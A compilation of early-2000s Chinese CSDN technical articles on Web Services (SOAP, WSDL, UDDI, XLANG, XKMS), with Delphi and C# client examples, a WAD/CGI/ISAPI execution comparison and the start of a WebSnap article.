Web服务描述语言(WSDL)是一种XML语法，为服务提供者提供了描述构建在不同协议或编码方式之上的Web Service请求基本格式的方法。WSDL用来描述一个Web Service能做什么，它的位置在哪里，如何调用它等等。在假定以SOAP/HTTP/MIME 作为远程对象调用机制的情况下，WSDL会发挥最大作用。UDDI注册描述了Web Service的绝大多数方面，包括服务的绑定细节。WSDL可以看作是UDDI服务描述的子集。
WSDL将服务定义为一个网络端点的集合，或者说端口的集合。在WSDL里面，端点及消息的抽象定义与它们具体的网络实现和数据格式绑定是分离的。这样就可以重用这些抽象定义：消息，需要交换的数据的抽象描述；端口类型，操作的抽象集合。针对一个特定端口类型的具体协议和数据格式规范构成一个可重用的绑定。一个端口定义成网络地址和可重用的绑定的联接，端口的集合定义为服务。因此一个WSDL文档在定义网络服务的时候使用如下的元素：

类型-- 使用某种的类型系统（比如XSD）定义数据类型的容器
消息-- 通讯数据抽象的有类型的定义
操作-- 服务支持的动作的抽象描述
端口类型-- 一个操作的抽象集合，该操作由一个或多个端点支持
绑定-- 针对一个特定端口类型的具体的协议规范和数据格式规范
端口-- 一个单一的端点，定义成一个绑定和一个网络地址的联接
服务-- 相关的端点的集合

所以，可以这样说，WSDL给客户提供了一个模板，方便他们描述和绑定服务。

XLANG
数据库中的事务的传统概念是原子性，即要么不做，要么全做。在分布式的系统中维持这种原子性，一般采用一种代价昂贵的处理方式，即两相承诺。另一个相对优化的模型也在研究之中（最初叫做sagas，由Hector Garcia-Molina提出），即每个动作都有一个明确的互补动作，用以取消该动作产生的结果。在现实生活中，这种互补动作的例子很多，比如说，你在信用卡里取出$52，互补动作就是存入$52，你发出一封Email说“你将会在7天内拿到你预定的产品”，互补动作就是发Email说“哦，你还得多等几天”。XLang就是基于这样一个概念，用来表示任何要取消的请求的互补动作。而Web Service的分布式基础将推动XLang规范的发展，使之能完成复杂的撤销操作。

XKMS (XML Key Management Specification)
XKMS是Microsoft和Verisign用XML应用程序集成PKI和数字认证（用于Internet事务安全性）的成果。关键的思想是将签名处理放到Web上的可信服务器（trust server）上，这样小客户就不必自己来做这些内容。XKMS依赖于XML数字签名规范和正在制定中的XML加密规范。现在的XKMS规范依赖于XML，SOAP，WSDL。


CSDN_文档中心_Web Services 學習筆記（一）

Web Services 學習筆記（一）

作者：蔡煥麟
日期：Apr-3-2002

摘要：簡述 Web Services 的概念、由來、運作方式及應用時可能遭遇的問題，並分別以 Delphi 6 和 VisualStudio.NET 示範撰寫 Web Services 用戶端程式的步驟。

什麼是 Web Services？

平台中立的網路服務

Web Services 是一種平台中立的網路服務，應用程式可以透過 URL 指定存取 internet 上任何一台電腦提供的服務，不管對方的電腦是什麼作業平台或應用程式的類型，雙方只要遵循標準的協定就可以溝通。

分散式應用程式的基石（building blocks）

基於其平台中立的特性，軟體開發人員可以將設計好的 Web Services 公佈在 internet 上供其他應用程式使用，其他的開發人員則可以重複使用這些現有的服務來建構分散式應用程式，而無須花時間重新設計相同功能的軟體元件。

Web Services 使得「軟體即服務」的觀念更容易落實，同時也意味著分散式架構所涵蓋的範圍將更廣。

為什麼要有 Web Services？

前面已經大略點出，Web Services 基於其平台中立以及 internet 無遠弗屆的特性，將可提高軟體元件的重複使用率，這是它的好處之一，除此之外，我們還可以從企業的需求以及技術面兩種角度來探討為什麼需要 Web Services。

企業的需求

早期企業對企業之間的資料交換是以 EDI（Electronic Data Interchange，電子資料交換）達成，但由於 EDI 多為昂貴的專屬系統，使用特定的協定與資料格式，因此維護成本較高，擴充也不容易。隨著網際網路的興盛，具備高度開放性的架構、協定、及資料格式便大受歡迎，例如：TCP/IP，HTML，XML....等，並且促成了一波企業對客戶（B2C），企業對企業（B2B）的電子商務熱潮。而在 B2B 方面則逐漸形成了電子交易市集（eMarketplace）的商務模式，此模式由第三方提供一個交易場所（網站），讓各商家在此地進行交易，資料輸入仍以人工作業為主，以目前各行業競爭之激烈，速度可說是勝負的關鍵，如果能夠將人工輸入資料的方式改成電腦之間自動交換資料就可以大幅縮短企業間溝通及資料交換的時間，進而提昇企業的競爭力與反應速度。集各項公開標準於一身的 Web Services 正好符合這個需求。

由此觀之，也能看出 Web Services 的另一項特點：把以往使用者與應用程式的互動的情景，轉變成應用程式與應用程式之間的互動。

現有技術的不足

若以技術的角度來看為什麼需要 Web Services，可以先看看現有的分散式架構有何不足。目前大多數的分散式應用系統都是以遠端程序呼叫（Remote Procedure Call，RPC）的方式存取另一台電腦上的服務，例如：Microsoft 的 Distributed Component Object Model（DCOM），Sun 的 Remote Method Invocation（RMI），OMG 的 Common Object Request Broker Architecture（CORBA） 等，這些以 RPC 為基礎的分散式架構提供了開發人員熟悉的程式撰寫方式（函數呼叫）以及位置透明化（location transparency）的優點，但是它有以下缺點：

  • 緊密耦合。用戶端與伺服器程式之間要規定詳細的呼叫方式，而且用戶端得事先知道如何存取這些服務的相關細節（例如函式有哪些參數及其型態），伺服器這邊稍有改變可能就會令用戶端無法執行。
  • 只能同步執行（synchronous calls）。用戶端呼叫伺服器的某個程序時，必須等該程序執行完畢之後才能繼續其他動作，期間使用者能做的只有等待。儘管可以使用多執行緒的技巧來解決，但卻增加了程式的複雜度，程式也比較難撰寫。

當應用程式需要以非同步的方式執行工作時，便衍生出另一種所謂的訊息導向的架構，例如：Microsoft 的 MSMQ，IBM 的 MQSeries 等。有別於 RPC 的程序呼叫方式，這種架構使用非同步訊息傳遞的機制，訊息送出後用戶端便可以繼續執行其他工作，訊息保證會送達目的地，至於何時送達則不確定，這是它最大的特色，而其缺點為：

  • 先收到的訊息先處理（佇列），無法提供特定工作流程（workflow）的執行順序。
  • 程式設計師必須處理訊息封包的包裝、解讀與驗證，是一項不輕的負擔。
  • 各家廠商提供的解決方案彼此不相容。

不管是 RPC 還是訊息導向的架構，它們都有一個共同的缺點，就是會跟特定的作業環境或軟體綁在一起，而且各種產品使用不同的傳輸協定或資料格式，使得彼此不能相互溝通。另外，DCOM、RMI、CORBA 等二進位協定通常會被防火牆擋在外面，使外界無法直接存取企業內部的資訊服務，若要讓它們能夠穿過防火牆，網管人員就必須在牆上打洞，如此勢必引發網路安全的問題，這也是現有的分散式架構中一個比較讓人頭痛的地方。

為了解決這些問題，Web Services 便應運而生。它具有以下特點：

  • 寬鬆的（loosely-coupled）分散式架構。
  • 平台中立，與實作（開發工具、程式語言）無關。
  • 無狀態（stateless）。
  • 提供同步與非同步的程序呼叫。
  • 容易穿越防火牆。

但並不是說 Web Services 就可以完全取代傳統的分散式技術，只能說各有其適用的時機吧，在評估要使用哪一種技術來開發應用程式時，除了瞭解技術本身的優缺點，也要確實瞭解應用程式的需求及環境的限制，才不會發生以尖端科技製造無用軟體的情形。

Web Services 是如何運作的？

Web Services 要能運作，首先必須解決的問題是：

  1. 應用程式如何透過 internet 遂行遠端程序呼叫，而且不用知道對方的作業環境及應用程式型態？
  2. 用戶端程式如何知道怎樣使用某個 Web Service？或者說，如何得知該服務的介面（提供哪些方法呼叫）？
  3. 當應用程式需要某種特定的功能時，怎麼知道網路上已經有人提供這類功能的 Web Services？到哪裡找到這些 Web Services？

第一個問題的答案是需要一個標準的訊息格式以便可以順利在各平台之間傳遞。第二個問題則需要一個描述 Web Services 的文件，用戶端可以透過解讀這個文件來了解如何使用它。第三個問題可以透過一個描述的答案則是要有一個類似目錄服務的機制，提供外界查詢現有的 Web Services。

Web Services 有三個重要的元素可以解決上述問題，它們是：

  • SOAP - 傳遞訊息的格式
  • WSDL - 描述服務的內容
  • SOAP Discovery - 尋找有哪些服務

也有人稱它們為 Web Services 三劍客，以下再個別進一步地說明。

SOAP

前面多次提及 Web Services 是平台中立的，這不僅指作業系統，連網站伺服器的品牌、應用程式的類型都沒有特別限定，例如用戶端的作業環境是 Windows 2000 + IIS，而執行 Web Services 的作業環境是 Linux + Apache。要符合這些條件，就一定要有一套標準的協定才行，這個標準協定就是 Simple Object Access Protocol（SOAP）。

SOAP 是架構在 HTTP 之上的物件存取協定，也就是說透過 HTTP 來傳遞訊息，而訊息的內容則是以 XML 格式來描述。當用戶端程式需要呼叫一個遠端物件的方法時，可以把這項要求封裝成 SOAP 呼叫傳遞給遠端的 Web Services，當 Web Services 收到了用戶端的請求便去執行其指定的方法，並且在執行完畢之後傳回結果。因此也可以說 SOAP 就是 internet 上面的 RPC。

相較於傳統的 RPC，SOAP 不但是個被業界所支援的公開標準，還具有容易穿透防火牆的優點，使遠端程序呼叫得以順利跨越不同的網域。SOAP 之可以順利穿透防火牆，是由於其搭載的純文字訊息是透過 HTTP 協定來傳輸，而大部分的企業網路的防火牆都會開放 HTTP 使用的 80 埠的緣故。

WSDL

當你在網路上找到一個 Web Service，你如何知道要怎樣使用它？它提供了什麼服務？有哪些方法可以呼叫？要傳遞哪些參數？這些問題的答案就是 WSDL（Web Service Description Language）。

WSDL 是一份以 XML 撰寫的文件，附檔名就是 .WSDL，其主要的用途是「描述 Web Services」，也就是讓用戶端知道如何使用 Web Services。WSDL 的文件內容也有一個共同的標準，以便與各種用戶端應用程式相互整合，此標準是由 IBM 與 Microsoft 共同研擬。

如果你瞭解 COM 的話，WSDL 的作用就等同於 COM 的 IDL（Interface Difinition Language）或 type library。

Web Service Discovery（又稱為 Disco）

WSDL 是在你已經確定要使用某個 Web Service 並且知道其網址的情形下才有用，萬一你不知道哪裡有你需要的 Web Services 怎麼辦？例如，你的應用程式現在要加入一項功能，可以讓使用者輸入特定關鍵字找尋相關的 MP3 檔案的下載網址，這時候你要去哪裡找這類 Web Services？

Disco 的用途就在這裡，就像電話簿和搜尋引擎網站一樣，提供資訊分類以及尋找的服務，讓你可以方便快速地找到你需要的 Web Services。

其運作原理是，當開發人員將一個 Web Service 設計完成之後，可以將它登錄到一個集中的地方，其他人就可以向這個集中地查詢找到需要的服務。這個登錄－查詢的機制只要就是依靠 UDDI（Universal Description, Discovery and Integration）來達成。

Web Services 的架構

將 XML，SOAP，WSDL，UDDI 這些核心元素組合起來，就可以形成一個 Web Services 架構，架構中包含了三種主要的角色，分別是 Web Services 的提供者（provider），消費者（consumer），與介於兩者之間的中介者（broker），參考下圖：

其運作流程如下：

  1. 服務提供者開發 Web Services。
  2. 服務提供者將 Web Services 佈署至伺服器環境，並且向服務中介者登錄其相關資訊至 UDDI 註冊資料庫中。
  3. 服務的消費者到 UDDI 註冊資料庫中搜尋所需的服務。
  4. 服務的消費者在取得 Web Services 的相關資訊後就可以使用該服務。

可能面臨的挑戰

面對一項新的技術，在瞭解它的優點及學習如何應用該項技術的同時，也必須注意可能伴隨該項技術而來的問題，以免將技術用錯了地方或者太晚發現決策的錯誤。因此這裡摘要地列出一些應用 Web Services 時可能遭遇的挑戰以玆參考，內容摘自 Graham Glass 的文章「The Web services (r)evolution, Part 1」。

可靠性

如果原本提供 Web Services 的伺服器掛掉了，用戶端該如何應變？是否可能以其他廠商提供的 Web Services 暫時替代？這個替代品的功能和使用方式是否跟原本的 Web Services 完全相同？

安全性

在網路上傳遞敏感資料時需要將資料加密處理，HTTP 配合 SSL 可以提供基礎的安全防護，但是對一些需要對個人身分進行驗證與授權的場合就不夠用了，此時 Web Services 要做到什麼程度才算安全？是否需要在每個方法呼叫中傳遞及驗證使用者的身分？效率與安全的平衡點在哪裡？

交易處理

以往的分散式應用程式使用兩段式交付（two-phase commit）的方式完成分散式交易，這種方式在企業內部網路的環境下處理短時間的交易沒有什麼問題，但是如果拿到網際網路的開放環境下就窒礙難行了，因為一個交易啟動之後，也許要經過數天之後交易才完成，啟動交易的作業是否要一直等待直到所有參與交易的作業都成功後才確認完成整個交易？實際上不可能這樣做。因此 Web Services 在分散式交易的處理上目前仍有待努力，目前 Microsoft 提出了補償交易的方案（XLANG），而 W3C 則尚未針對此問題制定相關的標準。

經營模式

你的 Web Services 要如何收費？收取年費還是用多少算多少？你如何預防用戶將帳號密碼告訴其他人以共享存取你的 Web Services？

除錯

由於每個用戶端所執行的作業系統及環境可能不同，因此如何確保你的 Web Services 可以適用各種用戶端的環境也是可能碰到的問題，當用戶端向你回報錯誤訊息的時候，你是否能在限定的時間內解決問題？需要模擬用戶的作業環境嗎？

牛刀小試

在了解一些基礎概念之後，讓我們來試著練習撰寫一個簡單的範例程式。以往介紹分散式應用程式的撰寫步驟時，通常會先建立伺服器端的程式，然後再建立用戶端程式，這是因為用戶端所需的特定功能往往都沒有現成的，而必須自行撰寫的緣故。所幸 internet 上面已經有不少現成的 Web Services，我們便可以先學習撰寫難度較低的用戶端程式，知道如何使用之後再學習如何撰寫 Web Services。

首先選定要使用的 Web Service，http://www.xmethods.com 上面有不少現成的，我打算用一個叫做 Email Address Verifier 的 Web Service 來做示範，它提供了驗證 MSN、Hotmail、以及 Yahoo 等免費的電子郵件信箱是否有效的服務。這個 Web Service 是以 VisualStudio.NET 開發出來的，這裡我分別以 Delphi 6 和 VisualStudio.NET 7 英文版來說明開發 Web Service 用戶端程式的步驟，您可以看看兩種工具的程式撰寫方式有何異同。

以 Delphi 6 撰寫用戶端程式

  1. 建立一個新的應用程式：File|New|Applicatoin，接著先存檔。
  2. 透過 WSDL Importer 將指定的 Web Service 介面轉成 Delphi 的介面：
    File|New|Other...，選擇 WebServices 頁夾的 WSDL Importer，然後按 Ok 鈕。在接下來開啟的 WSDL 匯入精靈視窗中輸入 Email Address Verifier 的 WSDL 的 URL：http://ws.cdyne.com/emailverify/ev.asmx?wsdl，完成後會產生一個新的單元 ev.pas，其中繼承自 IInvokable 的 evSoap 介面就是我們要用來呼叫遠端物件的介面。
  3. 下列元件各放一個到 Form1 上面：THTTPRIO，TEdit，TButton，TMemo。其中 TMemo 是用來顯示驗證 email 信箱的結果。然後按 Alt+F11，use ev 這個單元。
  4. 設定 HTTPRIO1 的屬性，如下：

    object HTTPRIO1: THTTPRIO
  WSDLLocation = 'http://ws.cdyne.com/emailverify/ev.asmx?wsdl'
  Service = 'ev'
  Port = 'evSoap'
  Converter.Options = [soSendMultiRefObj, soTryAllSchema, soRootRefNodesToBody]
end

    註：由於 Email Address Verifier 是 .NET 應用程式，所以使用 WSDLLocation 屬性，而以 Delphi 開發的 Web Services 則可以使用 URL 屬性。

  5. 撰寫 Button1 的 OnClick 事件：

    procedure TForm1.Button1Click(Sender: TObject);
var
  intfEV: evSoap;
  ri: ReturnIndicator;
begin
  Screen.Cursor := crHourGlass;
  Application.ProcessMessages;
  try
    intfEV := HTTPRIO1 as evSoap;
    ri := intfEV.VerifyEmail(Edit1.Text);
    Memo1.Clear;
    Memo1.Lines.Add('ResponseText: ' + ri.ResponseText);
    Memo1.Lines.Add('ResponseCode: ' + IntToStr(ri.ResponseCode));
  finally
    intfEV := nil;
    Screen.Cursor := crDefault;
  end;
end;

  6. 編譯並且執行。執行時先在 Edit1 中輸入一個你自己的 MSN 或 Yahoo 的免費 email 信箱，然後按 Button1，看看 Memo1 裡面顯示的驗證結果。
  7. 如果 Memo1 裡面顯示的驗證結果是 "Verified Email Address" 或 "Mail Server Accepted Email"，就表示你輸入的電子郵件信箱是有效的，這時候你可以開啟電子郵件軟體收信看看，應該會有一封由 www.email-tester.com 寄來的通知信，原來背後真正提供驗證服務的是這個網站。如果你在上個步驟輸入的是別人的郵件信箱，收到信件的自然就是別人了。

執行結果參考下圖：

以 VisualStudio.NET 撰寫用戶端程式

我以 C# 來撰寫，步驟如下：

  1. 點選主選單的 File | New | Project，在接著開啟的 "New Project" 對話窗中，"Project Type" 選擇 "Visual C# Projects"，"Templates" 選擇 Windows Application，"Name" 輸入 "EmailVerifyClient"，然後按 Ok 鈕。參考下圖：

  2. 點選主選單的 Project | Add Web Reference，在接著開啟的視窗裡，欄位 Address 要輸入 Web Service 的 URL，這裡我們直接輸入 Email Address Verifier 的 WSDL 位址：http://ws.cdyne.com/emailverify/ev.asmx?wsdl，然後按 Enter 鍵。如果有找到這個 Web Service 的話就會顯示在下方面板裡面，此時按 Add Reference 鈕就可以加入 Web 參考，也就是幫你產生這個 Web Service 的 proxy 類別，操作畫面如下圖所示：

    產生的 proxy 類別名稱是 "ev"，你可以在 Class View 視窗裡找到並且叫出這個類別的程式碼。
  3. 在 Form1 上面放兩個 TextBox，一個 Button。在 Form1.cs 中加入下列程式碼：

    using EmailVerifyClient.com.cdyne.ws;

  4. 在 button1 的 Click 事件中撰寫程式碼，如下：

    private void button1_Click(object sender, System.EventArgs e)
{
    ev oEV;
    ReturnIndicator ri;

    oEV = new ev();
    ri = oEV.VerifyEmail(textBox1.Text);
    textBox2.Text = ri.ResponseText;
}

  5. 編譯並執行，先在 textBox1 中輸入 MSN 或 Yahoo 電子郵件信箱，然後按 button1，驗證結果會顯示於 textBox2。執行畫面參考下圖：

以上兩種開發工具的程式撰寫方式其實是大同小異的，值得注意的是兩者都能夠自動產生 Web Service 的 proxy 類別，讓程式設計師在撰寫用戶端程式時可以透過這個 proxy 類別來存取 Web service 元件所提供的服務。

範例程式下載

  • EvClient_D6.zip （for Delphi 6）
  • EvClient_VS.zip （for VS.NET）

結語

拜 internet 之賜，在全球化經濟之後，軟體產業也將逐漸感受到全球化的壓力，而不得不加入世界的脈動了。Web Services 的出現，提供了另一種應用程式之間的溝通方式，範圍更廣（遍及全球），支援的平台也更多，也許它真能創造出另一種新興的軟體服務業，屆時全球各地將有各式各樣的軟體服務，琳瑯滿目任君挑選，而且軟體開發人員再也不用侷限於一種開發工具或程式語言了。Web Services 是否提供足夠的條件達成這個願景？且讓我們拭目以待吧。

這次除了介紹 Web Services 的一些基礎觀念，也用一個相當陽春的範例展示如何以 Delphi 6 及 VisualStudio.NET 開發 Web Services 用戶端程式，下次有機會再進一步介紹 Web Services 程式設計的相關議題。

參考資料

  • Myths and misunderstandings surrounding SOAP by Frank Cohen。
    網址：http://www-106.ibm.com/developerworks/webservices/library/ws-spmyths.html
  • The Web services (r)evolution, Part 1 by Graham Glass。
    網址：http://www-106.ibm.com/developerworks/webservices/library/ws-peer1.html
  • Introducing .NET by Conard, Dengler, Francis, Glynn, Harvey, Hollis, Ramachandran, Schenken, Short, Ullman. Wrox Press 2000.


CSDN_文档中心_Web Services平台

那么什么是web service 平台呢？最基本的平台是XML加HTTP。HTTP是一个在Internet上广泛使用的协议。XML是一种元语言，你可以用它书写特定的语言来描述客户和服务之间或者组件和复杂服务之间的交互。在web server之后，XML格式的消息被转变成中间件的请求，返回的结果也会转化成XML格式。

有必要增加一些服务，同时保持简单性和普遍性，来把Web构建成一个功能更强大的平台。可以认为功能全面的web services平台是XML＋HTTP＋SOAP＋WSDL＋UDDI。在更高层次上，可能还要加上一些尚未广泛接受的技术如XAML,XLANG, XKMS,和XFS。

以下是对这些平台要素的简要描述。需要指出的是，这些还是发展中的技术，很多时候对一个问题会有多种解决方案。
◆SOAP (Simple Object Access Protocol，远程调用)
◆UDDI (Universal Description, Discovery and Integration Service贸易，目录服务)
◆WSDL (描述服务特征)
◆XLANG/XAML (为包括多种web services的复杂web事务提供支持）
◆XKMS (XML Key Management Specification) - 支持认证和注册，这个工作还在进展之中

SOAP
SOAP是用在分散或分布的环境中交换信息的简单的协议，它是一个基于XML的协议，定义了传递XML-encoded数据时的统一方式。包括三个部分：封装定义了一个描述消息中包含什么内容以及如何处理它们的框架，编码规则用于表示应用程序定义的数据类型的实例，另外还有一个表示远程过程调用和应答的协定。SOAP被设计为可以与各种其它协议结合使用。

SOAP的兴起是基于这样一种认识，无论现在的中间件是如何的好，他们都需要一个WAN包装。以XML格式发送消息有很多好处，如能够确保互用性。中间件使用者看来愿意容忍解析和序列化XML文档的代价，因为这可以让他们的软件使用范围更宽。

IBM, Microsoft, UserLand,和DevelopMentor在2000年向W3C提交了SOAP，并成为W3C的Note，SOAP更长远的发展规划现在是由W3C的XML协议工作组来制定。这有力的表明了直到W3C工作组交付规范为止，SOAP都将是一个稳定的规范。

UDDI (Universal Description, Discovery and Integration Service)
UDDI为客户提供了动态查找其它Web Services的机制。使用UDDI接口，商务处理可以动态的连接到外部的商务合作者提供的服务上。一个UDDI注册类似于CORBA的trader，也可以把它想象成商业应用程序的DNS服务。一个UDDI注册有两种客户：要发布一个服务（和使用接口）的商务应用，以及想要得到特定服务的客户。UDDI层在SOAP层之上，并假定请求和应答都是以SOAP消息传送的UDDI对象。

WSDL ：Web服务定义语言
Web服务描述语言(WSDL)是一种XML语法，为服务提供者提供了描述构建在不同协议或编码方式之上的Web Service请求基本格式的方法。WSDL用来描述一个Web Service能做什么，它的位置在哪里，如何调用它等等。在假定以SOAP/HTTP/MIME 作为远程对象调用机制的情况下，WSDL会发挥最大作用。UDDI注册描述了Web Service的绝大多数方面，包括服务的绑定细节。WSDL可以看作是UDDI服务描述的子集。
WSDL将服务定义为一个网络端点的集合，或者说端口的集合。在WSDL里面，端点及消息的抽象定义与它们具体的网络实现和数据格式绑定是分离的。这样就可以重用这些抽象定义：消息，需要交换的数据的抽象描述；端口类型，操作的抽象集合。针对一个特定端口类型的具体协议和数据格式规范构成一个可重用的绑定。一个端口定义成网络地址和可重用的绑定的联接，端口的集合定义为服务。因此一个WSDL文档在定义网络服务的时候使用如下的元素：

类型-- 使用某种的类型系统（比如XSD）定义数据类型的容器
消息-- 通讯数据抽象的有类型的定义
操作-- 服务支持的动作的抽象描述
端口类型-- 一个操作的抽象集合，该操作由一个或多个端点支持
绑定-- 针对一个特定端口类型的具体的协议规范和数据格式规范
端口-- 一个单一的端点，定义成一个绑定和一个网络地址的联接
服务-- 相关的端点的集合

所以，可以这样说，WSDL给客户提供了一个模板，方便他们描述和绑定服务。

XLANG
数据库中的事务的传统概念是原子性，即要么不做，要么全做。在分布式的系统中维持这种原子性，一般采用一种代价昂贵的处理方式，即两相承诺。另一个相对优化的模型也在研究之中（最初叫做sagas，由Hector Garcia-Molina提出），即每个动作都有一个明确的互补动作，用以取消该动作产生的结果。在现实生活中，这种互补动作的例子很多，比如说，你在信用卡里取出$52，互补动作就是存入$52，你发出一封Email说“你将会在7天内拿到你预定的产品”，互补动作就是发Email说“哦，你还得多等几天”。XLang就是基于这样一个概念，用来表示任何要取消的请求的互补动作。而Web Service的分布式基础将推动XLang规范的发展，使之能完成复杂的撤销操作。

XKMS (XML Key Management Specification)
XKMS是Microsoft和Verisign用XML应用程序集成PKI和数字认证（用于Internet事务安全性）的成果。关键的思想是将签名处理放到Web上的可信服务器（trust server）上，这样小客户就不必自己来做这些内容。XKMS依赖于XML数字签名规范和正在制定中的XML加密规范。现在的XKMS规范依赖于XML，SOAP，WSDL。


CSDN_文档中心_Web Services体系

1 总括
服务被服务提供者service providers部署deploy到web上，由一个给定的web service提供的功能使用WSDL描述。
部署的服务被发布publish到web上，服务代理service broker帮助服务提供者和服务请求者service requestor互相发现。
一个服务请求者使用一个API向服务代理请求需要的服务，当服务代理返回结果后，服务请求者使用这些结果绑定bind到一个实际的服务上。
这里讨论的所有通讯可以使用任何协议，但为了简单，选择SOAPVersion 2.0 协议，它允许应用程序调用远程对象的方法。

2 Web Services 组件
有三种组件：
◆服务提供者：提供服务，进行注册以使服务可用
◆服务代理：服务交换所，服务提供者和服务请求者之间的媒介
◆服务请求者：向服务代理请求服务，调用这些服务创建应用程序

3 Web Services操作
三种操作：
◆发布/不发布（Publish/Unpublish）：提供者向代理发布（注册）服务或不发布（移去）这些服务的注册
◆发现（Find）：由服务请求者向服务代理执行find操作，服务请求者描述要找的服务，服务代理分发匹配的结果
◆绑定（Bind）：在服务请求者和服务提供者之间绑定，这两部分协商以使请求者可以访问和调用提供者的服务

4 UDDI － 通用发现，描述和整合
这是一个Web services的信息注册的规范，基于UDDI的web services注册可以被发现。UDDI的发现方法是：在web上有一种分布的注册服务，商务和服务以一种通用的XML格式描述，XML中的结构化数据易于发现，分析和操作。

5 WSDL － Web 服务描述语言
如果我们打算找出一个地方的所有web services，我们需要一种描述他们的通用语言。如果我提供了一种服务，我需要能够向外部世界描述它，同时如果我想要使用一种服务，我也要描述我要找什么，WSDL正是这个目的。
下面是一个描述一个web services的WSDL文档：
<binding name="StockQuoteServiceBinding" type="StockQuoteServiceType">
<soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/>
<operation name="getQuote">
<soap:operation soapAction="http://www.getquote.com/GetQuote"/>
<input>
<soap:body type="InMessageRequest"
namespace="urn:live-stock-quotes"
encoding="http://schemas.xmlsoap.org/soap/encoding/"/>
</input>
<output>
<soap:body type="OutMessageResponse"
encoding="http://schemas.xmlsoap.org/soap/encoding/"/>
</output>
</operation>
</binding>
这是一个股票报价服务的定义的一部分，它定义了一个叫做getQuote的方法，同时带有相关的SOAP信息，以使一段代码可以发现这种服务，调用一个方法，且处理响应。

6 总结
结合这些技术，我们就有了使web services工作的基础结构。服务提供者可以描述自己，服务请求者可以描述自己要找什么，服务代理可以自动决定哪个请求者－提供者对是一个好的匹配，一旦产生了一个匹配，就可以使用必要的绑定信息用标准的方法（ways）找到与这种服务交互的方法（methods）。


CSDN_文档中心_Web 应用的执行过程 -- 谈谈 WAD/CGI/ISAPI 的区别

Web 应用的执行过程

-- 谈谈 WAD/CGI/ISAPI 的区别

Borland 在 Delphi/C++ Builder 中提供了多种类型的 Web 应用开发，其中最常用的应该是用于调试的 Web App Debugger 应用（WAD应用）和在 Windows/IIS 平台下运行的 CGI/ISAPI 。虽然从理论上说，这几种类型的 Web 应用程序除了类型不同以外，应该没有什么太大的区别。即一般情况下，可以很容易改变其类型，如：假设有一个调试好的 WAD 应用，只要新建一个空的 ISAPI 应用，然后把 WAD 应用中的必要单元加进来编译一下即可生成一个同样功能的 ISAPI 应用。但不幸的是，事实并非如此，在本站发表《C++ Builder 6 BizSnap(2) -- 自定义数据传输》一文后不久，有几位朋友给我发来 Mail 说明他们在将文中的程序改成 ISAPI 后遇到一些问题，我才发现这几种类型的 Web 应用之间的一些必须关注的区别。
那个问题出在数据库访问控件和 DataModule 上。在那个例子中，我是把数据访问控件放在 WebModule 中，这在 WAD 中是没什么问题的，但在 ISAPI 中却有问题，这与这两种类型的程序执行过程不同有关。另一个则是关于 DataModule 的，在 WAD 中增加一个 DataModule 来放数据访问控件是没什么问题的，但在 CGI 中却会出现程序不执行的情况（即出现下载文件的提示或出错），在 ISAPI 中则出现 AV(Access Violation) 错误。
所以本文将从这几种类型的 Web 应用程序的执行过程分析来看看它们的区别。

先看看 WAD 的执行过程：

分析 WAD 类型的源程序得知：每个 WAD 应用都会用 TWebAppAutoObjectFactory 创建一个 Automation 对象，当 WAD 收到一个发给此 WAD 应用的 Web 请求时就会用 GetActiveObject 来调用一个运行中的实例，如果没有实例在运行就启动一个。一旦取得运行中的 WAD 应用实例就通过此 Automation 对象的接口把 Web 请求发过去，由此 Automation 对象调用 WebModule 来模拟真实的 Web 服务器。之后的执行是一般 Web 应用必要的过程。在 Automation 对象被释放时（如引用计数减为0时），同时释放 WebModule 等。即在整个 SOAP 请求期间，WebModule 都是可用的。

再来看看 CGI 应用：

CGI 是作为 Web 服务器外部的一个进程单独运行，它是一个标准的控制台程序，只是 Web 服务器把 Web 请求重定向到 CGI 程序的标准输入，而把 CGI 程序的标准输入重定向到 Web 响应。但是 Borland 在编译处理时可能有一些特别做法，即当程序中有 DataModule 时会把它编译为非 Web 应用，使这样的 CGI 程序在 IIS 中不能运行（即在浏览器中输入其 URL 时将出现下载对话框）。所以，必须在处理请求时动态创建 DataModule 才行。因为 CGI 是根据每个 Web 请求创建实例的，所以当请求响应返回， CGI 程序也就结束了，此时才释放 WebModule ，所以实际上在整个 SOAP 请求期间，WebModule 都是可用的，这一点跟 WAD 应用一样。

最后来看一下 ISAPI 应用：

实际上， ISAPI 应用是在第一个请求到达 Web 服务器时就被启动（此时创建 WebModule ），此操作在 ISAPI 的入口： DllEntryPoint 函数中实现。请求处理结束后， ISAPI 应用仍存在于内存中，包括 WebModule 也是。 Web 服务器为每个请求创建一个 Worker Thread 来处理，处理完成只是终止 Worker Thread 。即在处理请求时是在 Worker Thread 中，并不与 WebModule 在一起，特别是 IIS 可以用 dllhost.exe 来调用 ISAPI ，使它在独立的进程空间中运行（这种情况下不执行 DllEntryPoint），所以在处理请求时无法访问 WebModule 及同时创建的 DataModule （如果有的话），如果在处理请求时用到它们就将出现 AV 错误。所以在 ISAPI 中，不能使用全局的 DataModule ，只能动态创建。

解决 DataModule 的问题还有一个办法，那就是用 SOAP Server Data Module 来代替 DataModule 。为什么这样是可以的？因为 SoapDataModule 其实只是一个从 IAppServerSOAP 派生的接口，在每个请求处理时会自动创建相应的实例，可以省去手工动态创建 DataModule 的麻烦。但它也有一个问题，那就是在 WSDL 中多了很多不必要的接口： IAppServer/IAppServerSOAP 等，同时，如果在其中放了 DataSetProvider 的时候，会把不必要导出的表导出了。特别是用了 dbExpress 的情况，此时尽可能用 SQLClientDataSet 来代替 SQLDataSet + DataSetProvider + ClientDataSet 组合。

[Mental Studio]猛禽 Aug.17-02


CSDN_文档中心_WebSnap 控件组简介

WebSnap 控件组简介
Jimmy Tharpe（翻译：天津财经学院->叶明）
WebSnap提供的丰富接口使得常用功能的实现变得易如反掌，例如，WebSnap提供的IwebUserList接口不但可以跟踪用户名、口令、权限和显示名称，而且可以对内存中的数据进行基本的跟踪。如果我们需要开发数据库应用呢？通过再实现(re-implementing)IwebUserList接口同样可以实现，例如我在例子中使用的IwebUserList组件，它同WebSnap 组中的其他控件具有很好的集成性。
下面，我将和大家一同感受WebSnap的强大功能，我们将再实现一些接口，以获得一些还未经公开的功能特性。
TDBWebUserList
为创建一个具备数据库功能的万维网用户列表，必须实现IwebUserList接口。
IWebUserList = interface
['{0877DEAF-AB5D-11D4-A503-00C04F6BB853}']
function ValidateUser(Strings: TStrings): Variant;
function CheckAccessRights(UserID: Variant; Rights: string): Boolean;
end;
